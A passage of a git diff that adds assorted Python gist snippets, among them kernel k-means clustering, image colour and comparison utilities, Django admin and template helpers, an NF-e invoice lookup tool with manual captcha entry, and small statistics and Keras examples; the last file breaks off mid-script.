+        dist = np.zeros((n_samples, self.n_clusters))
+        self.within_distances_ = np.zeros(self.n_clusters)
+
+        for it in xrange(self.max_iter):
+            dist.fill(0)
+            self._compute_dist(K, dist, self.within_distances_,
+                               update_within=True)
+            labels_old = self.labels_
+            self.labels_ = dist.argmin(axis=1)
+
+            # Compute the number of samples whose cluster did not change 
+            # since last iteration.
+            n_same = np.sum((self.labels_ - labels_old) == 0)
+            if 1 - float(n_same) / n_samples < self.tol:
+                if self.verbose:
+                    print "Converged at iteration", it + 1
+                break
+
+        self.X_fit_ = X
+
+        return self
+
+    def _compute_dist(self, K, dist, within_distances, update_within):
+        """Compute a n_samples x n_clusters distance matrix using the 
+        kernel trick."""
+        sw = self.sample_weight_
+
+        for j in xrange(self.n_clusters):
+            mask = self.labels_ == j
+
+            if np.sum(mask) == 0:
+                raise ValueError("Empty cluster found, try smaller n_cluster.")
+
+            denom = sw[mask].sum()
+            denomsq = denom * denom
+
+            if update_within:
+                KK = K[mask][:, mask]  # K[mask, mask] does not work.
+                dist_j = np.sum(np.outer(sw[mask], sw[mask]) * KK / denomsq)
+                within_distances[j] = dist_j
+                dist[:, j] += dist_j
+            else:
+                dist[:, j] += within_distances[j]
+
+            dist[:, j] -= 2 * np.sum(sw[mask] * K[:, mask], axis=1) / denom
+
+    def predict(self, X):
+        K = self._get_kernel(X, self.X_fit_)
+        n_samples = X.shape[0]
+        dist = np.zeros((n_samples, self.n_clusters))
+        self._compute_dist(K, dist, self.within_distances_,
+                           update_within=False)
+        return dist.argmin(axis=1)
+
+if __name__ == '__main__':
+    from sklearn.datasets import make_blobs
+    X, y = make_blobs(n_samples=1000, centers=5, random_state=0)
+
+    km = KernelKMeans(n_clusters=5, max_iter=100, random_state=0, verbose=1)
+    print km.fit_predict(X)[:10]
+    print km.predict(X[:10])
diff --git a/hard-gists/6258303/._snippet.py b/hard-gists/6258303/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6258303/._snippet.py differ
diff --git a/hard-gists/6258303/snippet.py b/hard-gists/6258303/snippet.py
new file mode 100644
index 00000000..8848f96b
--- /dev/null
+++ b/hard-gists/6258303/snippet.py
@@ -0,0 +1,61 @@
+#!/usr/bin/python
+
+from PIL import Image, ImageColor
+import math
+import sys
+
+def closest_color(incolor, colors):
+    distances = []
+    min_distance = 10000
+    for color in colors:
+        distance = math.sqrt((color[0]-incolor[0])**2+(color[1]-incolor[1])**2+(color[2]-incolor[2])**2)        
+
+        if(distance < min_distance):
+            min_distance = distance
+            c = color
+
+        if distance == 0:
+            return c
+
+    return c
+            
+def read_colors(filename):
+    color_hash = {}
+    i = Image.open(filename)
+    img = i.convert('RGB')
+    (width, height) = img.size
+    for x in range(width):
+        for y in range(height):
+            # print img.getpixel( (x,y) )
+            color_hash[img.getpixel( (x,y) )] = True
+    return color_hash.keys()
+
+def generate_clut(colors, outfile):
+    im = Image.new("RGBA", (512, 512))
+    for by in range(8):
+        for bx in range(8):
+            for g in range(64):
+                for r in range(64):
+                    x = r + bx*64
+                    y = g + by*64
+
+                    rc = min(255, int(r * 255.0 / 63.0 + 0.5))
+                    gc = min(255, int(g * 255.0 / 63.0 + 0.5))
+                    bc = min(255, int((bx + by * 8.0) * 255.0 / 63.0 + 0.5))
+                    im.putpixel( (x,y), closest_color((rc,gc,bc), colors) )
+    im.save(outfile)
+
+
+if len(sys.argv)<3:
+    print "usage: generate_clut input_image clut.png"
+    sys.exit();
+
+input_image = sys.argv[1]
+output_image = sys.argv[2]
+
+print "reading colors from %s" % input_image
+colors = read_colors(input_image)
+print "number of colors: %i" % len(colors)
+print "generating color lookup table"
+generate_clut(colors, output_image)
+print "saved to %s" % output_image
diff --git a/hard-gists/6260dd97a3e39eba9cd6/._snippet.py b/hard-gists/6260dd97a3e39eba9cd6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6260dd97a3e39eba9cd6/._snippet.py differ
diff --git a/hard-gists/6260dd97a3e39eba9cd6/snippet.py b/hard-gists/6260dd97a3e39eba9cd6/snippet.py
new file mode 100644
index 00000000..da806f67
--- /dev/null
+++ b/hard-gists/6260dd97a3e39eba9cd6/snippet.py
@@ -0,0 +1,190 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# PyGTK 3 é incompatível com Pole
+try:
+    # Caso tiver PyGTK 2
+    import pygtk
+    pygtk.require("2.0")
+    import gtk
+    PixbufLoader = gtk.gdk.PixbufLoader
+    timeout_add = gtk.timeout_add
+    shadow_in = gtk.SHADOW_IN
+    policy_automatic = gtk.POLICY_AUTOMATIC
+    fill = gtk.FILL
+    tem_gtk = True
+    print 'Usando PyGTK 2'
+except:
+    # Caso que não tem GTK
+    tem_gtk = False
+
+import re
+import httplib
+import urllib2
+import base64
+import cStringIO
+import time
+import pole
+
+cookie = ''
+entradas = {}
+
+def erro(resposta, conexao):
+    if tem_gtk:
+        erro = '\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\xb4\x00\x00\x002\x01\x03\x00\x00\x00\xcf\xeac\xb4\x00\x00\x00\x06PLTE\xff\xff\xff\x00\x00\x00U\xc2\xd3~\x00\x00\x00CIDAT8\xcbc`\x18\x05\xc3\n0\xff\x01\x12l$\x883\xe0\x12\xcf\xcb\x93\xc3*^WW\xdf\x86\xcd\xfc\x82\x82D\xac\xe2\t\t\x07\x8ea3\x87\x0c\xf1\x03\xd8\xc5\x13\x1b\xb0\xdb[\x8f\xc3=\xd8\xfc5\n\x86\x04\x00\x00\x83H\x18F\x0e\x02\xd2\xa7\x00\x00\x00\x00IEND\xaeB`\x82'
+        l = gtk.gdk.PixbufLoader()
+        l.write(erro)
+        l.close()
+        i.set_from_pixbuf(l.get_pixbuf())
+        e1.set_text(resposta.reason)
+        e2.set_text(str(resposta.status))
+    print 'Erro: %i - %s' % (reposta.status, reposta.reason)
+    conexao.close()
+
+def ler_captch_png(diretorio = None):
+    global cookie
+    conexao = httplib.HTTPConnection('www.nfe.fazenda.gov.br')
+    conexao.request('GET', '/portal/consulta.aspx?tipoConsulta=completa&tipoConteudo=XbSeqxE8pl8%3d')
+    resposta = conexao.getresponse()
+    if resposta.status != 200:
+        erro()
+        return
+
+    cookie = 'duracao_visita=9ce8b9e7-6546-30c2-f4e5-b3ba72385c1f; nova_visita_dia=1b1c2c52-3ee2-26a9-44bd-25750c5b36df; nova_visita_mes=1b1c2c52-3ee2-26a9-44bd-25750c5b36df; nova_visita_ano=1b1c2c52-3ee2-26a9-44bd-25750c5b36df; ' + resposta.getheader('set-cookie').split(';', 1)[0]
+    atualizar_captcha(resposta, conexao, diretorio)
+
+def atualizar_captcha(resposta, conexao, diretorio):
+    html = resposta.read().replace('\r\n', '')
+    conexao.close()
+
+    for entrada in re.findall(r'<input (?![^>]*type="image")(?![^>]*btnLimpar)[^>]*>', html):
+        name = re.sub(r'^.*name="([^"]+)".*$', r'\1', entrada)
+        value = re.sub(r'^.*value="([^"]+)".*$', r'\1', entrada) if ' value="' in entrada else ''
+        entradas[name] = value
+
+    img = re.sub('^.*<img id="ContentPlaceHolder1_imgCaptcha" src="data:image/png;base64,([^"]+)".*$',
+                 r'\1', html, re.DOTALL)
+    captcha_png = base64.b64decode(img)
+    if tem_gtk:
+        l = PixbufLoader()
+        l.write(captcha_png)
+        i.set_from_pixbuf(l.get_pixbuf())
+        l.close()
+        del l
+
+    if diretorio:
+        with open(diretorio + '/captcha.png', 'wb') as c:
+            c.write(captcha_png)
+
+def ler_dados(chave = None, captcha = None, diretorio = None):
+    dados = []
+    if tem_gtk:
+        chave = e1.get_text()
+        captcha = e2.get_text()
+    for name, value in entradas.items():
+        if 'txtCaptcha' in name:
+            value = captcha
+        elif 'txtChaveAcessoCompleta' in name:
+            value = chave
+        dados.append(urllib2.quote(name, '') + '=' + urllib2.quote(value, ''))
+    dados = '&'.join(dados)
+    conexao = httplib.HTTPConnection('www.nfe.fazenda.gov.br')
+    conexao.request('POST', '/portal/consulta.aspx?tipoConsulta=completa&tipoConteudo=XbSeqxE8pl8%3d',
+                    dados, {'Cookie': cookie, 'Content-Length': len(dados),
+                            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'})
+    resposta = conexao.getresponse()
+    if resposta.status == 200:
+        atualizar_captcha(resposta, conexao, diretorio)
+        return
+    if resposta.status != 302:
+        erro(resposta, conexao)
+        return
+    location = resposta.getheader('location')
+    conexao.close()
+    conexao = httplib.HTTPConnection('www.nfe.fazenda.gov.br')
+    conexao.request('GET', location, headers = {'Cookie': cookie})
+    while True:
+        try:
+            resposta = conexao.getresponse()
+            break
+        except Exception as err:
+            print repr(err)
+            time.sleep(1)
+    if resposta.status != 200:
+        erro(resposta, conexao)
+        return
+
+    html = resposta.read().lstrip()
+    conexao.close()
+
+    html = pole.xml.importar(html, True)
+    campos = {}
+    for registro in pole.xml.procurar(html, 'fieldset'):
+        campos[str(registro.legend)] = dict(zip(
+            [str(l) for l in pole.xml.procurar(registro, 'label')],
+            [str(v) for v in pole.xml.procurar(registro, 'span')]))
+
+    txt = str(campos).replace('{', '{\n').replace('\', ', '\',\n').replace('},', '},\n\n')
+
+    if tem_gtk:
+        tb.set_text(txt)
+
+    if diretorio:
+        with open('%s/%s.txt' % (diretorio, chave), 'wb') as f:
+            f.write(txt)
+
+if tem_gtk:
+    # Widgets
+    w = gtk.Window()
+    t = gtk.Table()
+    i = gtk.Image()
+    l1 = gtk.Label('Chave:')
+    e1 = gtk.Entry()
+    l2 = gtk.Label('Captcha:')
+    e2 = gtk.Entry()
+    b = gtk.Button('Baixar NF-e')
+    s = gtk.ScrolledWindow()
+    tb = gtk.TextBuffer()
+    tv = gtk.TextView()
+    # Configurações
+    w.set_title('Capturar dados da NF-e')
+    w.set_border_width(5)
+    w.connect('delete-event', gtk.main_quit)
+    t.set_row_spacings(5)
+    t.set_col_spacings(5)
+    aguarde = "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\xb4\x00\x00\x002\x01\x03\x00\x00\x00\xcf\xeac\xb4\x00\x00\x00\x06PLTE\xff\xff\xff\x00\x00\x00U\xc2\xd3~\x00\x00\x00\x95IDAT8\xcbc`\x18\x05C\x17\x1c@\x17H Q\xfc\x03.q\xb9c\x12\x15\xe6r\x07?\xa0\n3\xce\xb0?&\xf1\xc7\xde\xfe\xf8\x0ft\xf1\xc2c\x12}\x16\x85\xc7d\xd0\xc5\x13\x8eI\xb0\x19$\x9c\xe1A\x15g\xe6\x01\x8a\xd7\x19$\x9c\xff\x83&\xfe'\xe1\x98\xe4?Lq\xf6\x7f@\xf16\xa09h\xcedc+<n\xd9gPx\x8c\x05]\xdc\xfe\xf0\xcf\x7f\x06\xf6\xc7\xff\x1cF\xb1\x99\x87Y\xee\xf0\x8do\x06r\x07\x7f\x1c\xe6!\x14\x94\x10\xa0\xd8\x80]\xdc\x1e\x87\xb8\xfch\xa2\xa4)\x00\x00\x0c`4\x82s~Nb\x00\x00\x00\x00IEND\xaeB`\x82"
+    l = PixbufLoader()
+    l.write(aguarde)
+    l.close()
+    i.set_from_pixbuf(l.get_pixbuf())
+    e1.set_width_chars(44)
+    b.connect('clicked', ler_dados)
+    s.set_shadow_type(shadow_in)
+    s.set_policy(policy_automatic, policy_automatic)
+    tv.set_buffer(tb)
+    # Estrutura
+    w.add(t)
+    t.attach(i, 0, 1, 0, 2, yoptions = fill)
+    t.attach(l1, 1, 2, 0, 1, yoptions = fill)
+    t.attach(e1, 2, 4, 0, 1, yoptions = fill)
+    t.attach(l2, 1, 2, 1, 2, yoptions = fill)
+    t.attach(e2, 2, 3, 1, 2, yoptions = fill)
+    t.attach(b, 3, 4, 1, 2, yoptions = fill)
+    t.attach(s, 0, 4, 2, 3)
+    s.add(tv)
+    w.show_all()
+    timeout_add(1000, ler_captch_png)
+    gtk.main()
+else:
+    print 'Capturar dados da NF-e'
+    diretorio = raw_input('Diretório para o captcha.png e <nfe>.txt: ')
+    print 'Aguarde...'
+    ler_captch_png(diretorio)
+    if not cookie:
+        print 'Tente novamente...'
+    else:
+        print 'Abra o arquivo %s/captcha.png e veja a imagem...' % diretorio
+        captcha = raw_input('Captcha: ')
+        chave = raw_input('Chave: ')
+        ler_dados(chave, captcha, diretorio)
+        print 'Dados salvos em %s/%s.txt' % (diretorio, chave)
diff --git a/hard-gists/626356/._snippet.py b/hard-gists/626356/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/626356/._snippet.py differ
diff --git a/hard-gists/626356/snippet.py b/hard-gists/626356/snippet.py
new file mode 100644
index 00000000..deed4ff5
--- /dev/null
+++ b/hard-gists/626356/snippet.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+"""Compare two aligned images of the same size.
+
+Usage: python compare.py first-image second-image
+"""
+
+import sys
+
+from scipy.misc import imread
+from scipy.linalg import norm
+from scipy import sum, average
+
+def main():
+    file1, file2 = sys.argv[1:1+2]
+    # read images as 2D arrays (convert to grayscale for simplicity)
+    img1 = to_grayscale(imread(file1).astype(float))
+    img2 = to_grayscale(imread(file2).astype(float))
+    # compare
+    n_m, n_0 = compare_images(img1, img2)
+    print "Manhattan norm:", n_m, "/ per pixel:", n_m/img1.size
+    print "Zero norm:", n_0, "/ per pixel:", n_0*1.0/img1.size
+
+def compare_images(img1, img2):
+    # normalize to compensate for exposure difference
+    img1 = normalize(img1)
+    img2 = normalize(img2)
+    # calculate the difference and its norms
+    diff = img1 - img2  # elementwise for scipy arrays
+    m_norm = sum(abs(diff))  # Manhattan norm
+    z_norm = norm(diff.ravel(), 0)  # Zero norm
+    return (m_norm, z_norm)
+
+def to_grayscale(arr):
+    "If arr is a color image (3D array), convert it to grayscale (2D array)."
+    if len(arr.shape) == 3:
+        return average(arr, -1)  # average over the last axis (color channels)
+    else:
+        return arr
+
+def normalize(arr):
+    rng = arr.max()-arr.min()
+    amin = arr.min()
+    return (arr-amin)*255/rng
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/6280390/._snippet.py b/hard-gists/6280390/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6280390/._snippet.py differ
diff --git a/hard-gists/6280390/snippet.py b/hard-gists/6280390/snippet.py
new file mode 100644
index 00000000..ec414538
--- /dev/null
+++ b/hard-gists/6280390/snippet.py
@@ -0,0 +1,70 @@
+"""
+Hide permission in the Django admin which are irrelevant, and not used at all.
+"""
+from django.contrib import admin
+from django.contrib.auth.admin import GroupAdmin, UserAdmin
+from django.contrib.auth.models import Group, User
+
+
+class PermissionFilterMixin(object):
+    def formfield_for_manytomany(self, db_field, request=None, **kwargs):
+        if db_field.name in ('permissions', 'user_permissions'):
+            qs = kwargs.get('queryset', db_field.rel.to.objects)
+            qs = _filter_permissions(qs)
+            kwargs['queryset'] = qs
+
+        return super(PermissionFilterMixin, self).formfield_for_manytomany(db_field, request, **kwargs)
+
+class MyGroupAdmin(PermissionFilterMixin, GroupAdmin):
+    pass
+
+class MyUserAdmin(PermissionFilterMixin, UserAdmin):
+    pass
+
+admin.site.unregister(User)
+admin.site.unregister(Group)
+admin.site.register(User, MyUserAdmin)
+admin.site.register(Group, MyGroupAdmin)
+
+
+def _filter_permissions(qs):
+    return qs.exclude(codename__in=(
+        # Has no admin interface:
+        'add_permission',
+        'change_permission',
+        'delete_permission',
+
+        'add_contenttype',
+        'change_contenttype',
+        'delete_contenttype',
+
+        'add_session',
+        'delete_session',
+        'change_session',
+
+        # django.contrib.admin
+        'add_logentry',
+        'change_logentry',
+        'delete_logentry',
+
+        # sorl-thumbnail    
+        'add_kvstore',
+        'change_kvstore',
+        'delete_kvstore',
+
+        # south
+        'add_migrationhistory',
+        'change_migrationhistory',
+        'delete_migrationhistory',
+
+        # django-admin-tools    
+        'add_dashboardpreferences',
+        'change_dashboardpreferences',
+        'delete_dashboardpreferences',
+
+        'add_bookmark',
+        'change_bookmark',
+        'delete_bookmark',
+    )) \
+    .exclude(codename__endswith='userobjectpermission') \
+    .exclude(codename__endswith='groupobjectpermission')  # django-guardian
diff --git a/hard-gists/629508/._snippet.py b/hard-gists/629508/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/629508/._snippet.py differ
diff --git a/hard-gists/629508/snippet.py b/hard-gists/629508/snippet.py
new file mode 100644
index 00000000..c3fc5293
--- /dev/null
+++ b/hard-gists/629508/snippet.py
@@ -0,0 +1,44 @@
+"""
+jQuery templates use constructs like:
+
+    {{if condition}} print something{{/if}}
+
+This, of course, completely screws up Django templates,
+because Django thinks {{ and }} mean something.
+
+Wrap {% verbatim %} and {% endverbatim %} around those
+blocks of jQuery templates and this will try its best
+to output the contents with no changes.
+"""
+
+from django import template
+
+register = template.Library()
+
+
+class VerbatimNode(template.Node):
+
+    def __init__(self, text):
+        self.text = text
+    
+    def render(self, context):
+        return self.text
+
+
+@register.tag
+def verbatim(parser, token):
+    text = []
+    while 1:
+        token = parser.tokens.pop(0)
+        if token.contents == 'endverbatim':
+            break
+        if token.token_type == template.TOKEN_VAR:
+            text.append('{{')
+        elif token.token_type == template.TOKEN_BLOCK:
+            text.append('{%')
+        text.append(token.contents)
+        if token.token_type == template.TOKEN_VAR:
+            text.append('}}')
+        elif token.token_type == template.TOKEN_BLOCK:
+            text.append('%}')
+    return VerbatimNode(''.join(text))
\ No newline at end of file
diff --git a/hard-gists/62d629216e19906c53d3/._snippet.py b/hard-gists/62d629216e19906c53d3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/62d629216e19906c53d3/._snippet.py differ
diff --git a/hard-gists/62d629216e19906c53d3/snippet.py b/hard-gists/62d629216e19906c53d3/snippet.py
new file mode 100644
index 00000000..ffbdadb3
--- /dev/null
+++ b/hard-gists/62d629216e19906c53d3/snippet.py
@@ -0,0 +1,66 @@
+import fiona
+import click
+from rasterio import features, Affine
+
+def makeAffine(bounds, width):
+    xD = bounds[2] - bounds[0]
+    yD = bounds[3] - bounds[1]
+    cS = xD / float(width - 2)
+
+    height = int(yD / cS) + 1
+
+    return Affine(cS, 0.00, bounds[0] - cS,
+        0.00, -cS, bounds[3] + cS), height + 1
+
+@click.command()
+@click.argument('src_path', type=click.Path(exists=True))
+@click.option('--width', type=int, default=100)
+def printAscii(src_path, width):
+    with fiona.open(src_path, 'r') as src:
+        aff, height = makeAffine(src.bounds, width)
+        rasarr = features.rasterize(
+            ((feat['geometry'], 8) for i, feat in enumerate(src)),
+            out_shape=(height, width),
+            transform=aff
+            )
+
+        for i in rasarr:
+            click.echo((''.join(i.astype(str).tolist())).replace('0', '.'))
+
+if __name__ == '__main__':
+    printAscii()
+
+# USAGE
+#
+# $ python printascii.py <inputgeojson> --width 50
+# ..................................................
+# .............88888.....................88.........
+# ........8888888888....8.............888888.88888..
+# ...........888888888..........8...........8888....
+# ............................888888................
+# ..........................88888888888.............
+# ........................8888888888888888..........
+# .......................8888888888888888888........
+# .....................88888888888888888888888......
+# ...................888888888888888888888888888....
+# .................888888888888888888888888888888...
+# ...............88888888888888888888888888888888...
+# ..............8888888888888888888888888888888.....
+# ...............888888888888888888888888888........
+# .................8888888888888888888888...........
+# ...................88888888888888888..............
+# .88888888888888888..88888888888888................
+# .88888888888888888....888888888...................
+# .88888888888888888......8888....88888888888888888.
+# .88888888888888888..............88888888888888888.
+# .88888888888888888..............88888888888888888.
+# .88888888888888888..............88888888888888888.
+# .88888888888888888..............88888888888888888.
+# .88888888888888888..............88888888888888888.
+# .88888888888888888..............88888888888888888.
+# .88888888888888888..............88888888888888888.
+# ................................88888888888888888.
+# ................................88888888888888888.
+# ................................88888888888888888.
+# ................................88888888888888888.
+# ..................................................
\ No newline at end of file
diff --git a/hard-gists/6309113/._snippet.py b/hard-gists/6309113/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6309113/._snippet.py differ
diff --git a/hard-gists/6309113/snippet.py b/hard-gists/6309113/snippet.py
new file mode 100644
index 00000000..2b8ffc39
--- /dev/null
+++ b/hard-gists/6309113/snippet.py
@@ -0,0 +1,36 @@
+# -*- coding:utf-8 -*-
+
+import numpy
+from scipy import stats
+
+n = 200
+#正規分布にあてはまる乱数を生成
+score_x = numpy.random.normal(171.77, 5.54, n)
+score_y = numpy.random.normal(62.49, 7.89, n)
+
+#適当にちょっとノイズ入れる
+score_x.sort()
+score_x = numpy.around(score_x + numpy.random.normal(scale=3.0, size=n), 2)
+score_y.sort()
+score_y = numpy.around(score_y + numpy.random.normal(size=n), 2)
+
+
+#最大値
+print "Max x: " + str(numpy.max(score_x)) + " y: " + str(numpy.max(score_y))
+#最小値
+print "Min x: " + str(numpy.min(score_x)) + " y: " + str(numpy.min(score_y))
+#平均値
+print "Avg x: " + str(numpy.mean(score_x)) + " y: " + str(numpy.mean(score_y))
+#第1四分位
+print "1Q x:" + str(stats.scoreatpercentile(score_x, 25)) + " y: " + str(stats.scoreatpercentile(score_y, 25))
+#中央値
+print "Med x: " + str(numpy.median(score_x)) + " y: " + str(numpy.median(score_y))
+#第3四分位
+print "3Q x:" + str(stats.scoreatpercentile(score_x, 75)) + " y: " + str(stats.scoreatpercentile(score_y, 75))
+#分散
+print "Var x: " + str(numpy.var(score_x)) + " y: " + str(numpy.var(score_y))
+#標準偏差
+print "S.D. x: " + str(numpy.std(score_x)) + " y:" + str(numpy.std(score_y))
+#相関係数
+cor = numpy.corrcoef(score_x, score_y)
+print "Correlation Coefficient : " + str(cor[0,1])
\ No newline at end of file
diff --git a/hard-gists/630df68eb42d881755a3e30343252f74/._snippet.py b/hard-gists/630df68eb42d881755a3e30343252f74/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/630df68eb42d881755a3e30343252f74/._snippet.py differ
diff --git a/hard-gists/630df68eb42d881755a3e30343252f74/snippet.py b/hard-gists/630df68eb42d881755a3e30343252f74/snippet.py
new file mode 100644
index 00000000..8770c7ab
--- /dev/null
+++ b/hard-gists/630df68eb42d881755a3e30343252f74/snippet.py
@@ -0,0 +1,13 @@
+import numpy as np
+from keras.layers import Dense, Input
+from keras.models import Model
+
+x = Input((1,))
+y = Dense(1, activation ='linear')(x)
+
+m = Model(x,y)
+m.compile(loss = 'mse', optimizer='sgd')
+_x = np.linspace(1,2, num = 1e3)
+m.fit(_x, 2*_x + 1, batch_size=1)
+
+print m.get_weights()
diff --git a/hard-gists/631953/._snippet.py b/hard-gists/631953/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/631953/._snippet.py differ
diff --git a/hard-gists/631953/snippet.py b/hard-gists/631953/snippet.py
new file mode 100644
index 00000000..f6887e9f
--- /dev/null
+++ b/hard-gists/631953/snippet.py
@@ -0,0 +1,70 @@
+"""
+A decorator for management commands (or any class method) to ensure that there is
+only ever one process running the method at any one time.
+
+Requires lockfile - (pip install lockfile)
+
+Author: Ross Lawley
+"""
+
+import time
+import logging
+
+from lockfile import FileLock, AlreadyLocked, LockTimeout
+from django.conf import settings
+
+# Lock timeout value - how long to wait for the lock to become available.
+# Default behavior is to never wait for the lock to be available (fail fast)
+LOCK_WAIT_TIMEOUT = getattr(settings, "DEFAULT_LOCK_WAIT_TIMEOUT", -1)
+
+def handle_lock(handle):
+    """
+    Decorate the handle method with a file lock to ensure there is only ever
+    one process running at any one time.
+    """
+    
+    def wrapper(self, *args, **options):
+        
+        start_time = time.time()
+        verbosity = options.get('verbosity', 0)
+        if verbosity == 0:
+            level = logging.WARNING
+        elif verbosity == 1:
+            level = logging.INFO
+        else:
+            level = logging.DEBUG
+        
+        logging.basicConfig(level=level, format="%(message)s")
+        logging.debug("-" * 72)
+        
+        lock_name = self.__module__.split('.').pop()
+        lock = FileLock(lock_name)
+        
+        logging.debug("%s - acquiring lock..." % lock_name)
+        try:
+            lock.acquire(LOCK_WAIT_TIMEOUT)
+        except AlreadyLocked:
+            logging.debug("lock already in place. quitting.")
+            return
+        except LockTimeout:
+            logging.debug("waiting for the lock timed out. quitting.")
+            return
+        logging.debug("acquired.")
+        
+        try:
+            handle(self, *args, **options)
+        except:
+            import traceback
+            logging.warn("Command Failed")
+            logging.warn('==' * 72)
+            logging.warn(traceback.format_exc())
+            logging.warn('==' * 72)
+        
+        logging.debug("releasing lock...")
+        lock.release()
+        logging.debug("released.")
+        
+        logging.info("done in %.2f seconds" % (time.time() - start_time))
+        return
+        
+    return wrapper
diff --git a/hard-gists/6323931/._snippet.py b/hard-gists/6323931/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6323931/._snippet.py differ
diff --git a/hard-gists/6323931/snippet.py b/hard-gists/6323931/snippet.py
new file mode 100644
index 00000000..dc956689
--- /dev/null
+++ b/hard-gists/6323931/snippet.py
@@ -0,0 +1,27 @@
+#!/usr/bin/env python
+import dbus
+import collections
+import sys
+import os
+
+if __name__ == "__main__":
+  if len(sys.argv) < 2:
+    print "Usage: mumble-broadcast <message>"
+    sys.exit(1)
+
+  user = os.environ.get("USER", "system")
+  message = u"Message from {0}: {1}".format(user, sys.argv[1])
+
+  Player = collections.namedtuple("Player", "session mute deaf suppressed selfMute selfDeaf channel id name onlinesecs bytespersecond")
+  Channel = collections.namedtuple("Channel", "id name parent links")
+
+  dbus_base = 'net.sourceforge.mumble.murmur'
+  bus = dbus.SystemBus()
+  proxy = bus.get_object(dbus_base, '/1')
+  murmur = dbus.Interface(proxy, 'net.sourceforge.mumble.Murmur')
+
+  for p in murmur.getPlayers():
+    player = Player(*p)
+    murmur.sendMessage(player.session, message)
+
+  sys.exit(0)
diff --git a/hard-gists/6325830/._snippet.py b/hard-gists/6325830/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6325830/._snippet.py differ
diff --git a/hard-gists/6325830/snippet.py b/hard-gists/6325830/snippet.py
new file mode 100644
index 00000000..113d14e7
--- /dev/null
+++ b/hard-gists/6325830/snippet.py
@@ -0,0 +1,55 @@
+# -*- coding:utf-8 -*-
+
+import numpy
+import pylab
+#import statsmodels.api
+
+from sklearn import linear_model
+
+n = 200
+#データの生成
+score_x = numpy.random.normal(171.77, 5.54, n)
+score_y = numpy.random.normal(62.49, 7.89, n)
+
+score_x.sort()
+score_x = numpy.around(score_x + numpy.random.normal(scale=3.0, size=n), 2)
+score_y.sort()
+score_y = numpy.around(score_y + numpy.random.normal(size=n), 2)
+#1列にしないとだめ
+score_X = score_x.reshape(n, 1)
+
+# 散布図を描く
+pylab.scatter(score_x, score_y, marker='.', linewidths=0)
+pylab.grid(True)
+pylab.xlabel('X')
+pylab.ylabel('Y')
+
+#print '--------------------------statsmodels-----------------------------'
+#statsmodelsで回帰分析してみる（うまく動かず)
+
+#results = statsmodels.api.OLS(score_y, score_X).fit()
+#print results.summary()
+
+#回帰直線を描く
+#pylab.plot(score_x, results.predict(), 'r', linewidth=2)
+
+print '-----------------------------sklearn------------------------------'
+#sklearnで回帰分析してみる
+lm = linear_model.LinearRegression()
+
+
+lm.fit(score_X, score_y)
+
+print 'Coefficients :' + str(lm.coef_)
+print 'Intercept :' + str(lm.intercept_)
+print 'R2 :' + str(lm.score(score_X, score_y))
+
+#回帰直線用のデータ生成
+predict_x = numpy.arange(140, 200, 1)
+predict_y = lm.predict(predict_x.reshape(60, 1))
+
+#回帰直線を描く
+pylab.plot(predict_x, predict_y, 'r', linewidth=2)
+
+
+pylab.show()
diff --git a/hard-gists/6327611/._snippet.py b/hard-gists/6327611/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6327611/._snippet.py differ
diff --git a/hard-gists/6327611/snippet.py b/hard-gists/6327611/snippet.py
new file mode 100644
index 00000000..c3282128
--- /dev/null
+++ b/hard-gists/6327611/snippet.py
@@ -0,0 +1,117 @@
+#! /usr/bin/python
+import Image
+
+#Created by vvdr12
+#Fully open license.  Have fun.
+#change threshold value in 'def contrastpoints' for higher/lower line density.
+#put a 'test.jpg' file in the same folder as the code.
+
+#_functions______________________________________________
+
+def contrastpoints(x,j,img):
+	threshold=20
+	contrast=[]
+	i=0
+	l2=1
+	while l2==1:
+			
+		r1=img[i,j][0]
+		b1=img[i,j][1]
+		g1=img[i,j][2]
+		ave1=((r1+b1+g1)/3)
+
+		r2=img[(i+1),j][0]
+		b2=img[(i+1),j][1]
+		g2=img[(i+1),j][2]
+		ave2=((r2+b2+g2)/3)
+		
+		r3=img[(i+2),j][0]
+		b3=img[(i+2),j][1]
+		g3=img[(i+2),j][2]
+		ave3=((r3+b3+g3)/3)
+		
+		r4=img[(i+3),j][0]
+		b4=img[(i+3),j][1]
+		g4=img[(i+3),j][2]
+		ave4=((r4+b4+g4)/3)
+
+		if abs(ave2-ave1)>threshold:
+			if abs(ave1-ave3)>(threshold/2):
+				contrast.append(i)
+
+		i=i+1		
+		if i==(x-3):
+			l2=0
+	return contrast
+
+#_Page_Setup____________________________________________
+
+source = Image.open("test.jpg")
+img = source.load()
+print source.format
+print source.size
+print source.mode
+
+x = source.size[0]
+y = source.size[1]
+
+
+
+#_______________________________________________________
+
+
+i=0
+j=0#set to 500 for short test run
+k=0
+l=0
+m=0 #contrast func
+l1=1
+contrast=contrastpoints(x,j,img) #contrast func
+print "\n", j, "/", y
+while (l1==1):
+	
+	if len(contrast)>m: #contrast func
+		if i>=contrast[m]:
+			img[i,j]=(0,0,0)
+			m=m+1
+	
+	i=i+1
+	if i==(x-1):
+		contrast=contrastpoints(x,j,img) #contrast func
+		m=0 #contrast func
+		i=0
+
+		k=k+1
+		if k==1:
+			k=0
+
+			j=j+1
+			print j, "/",y		
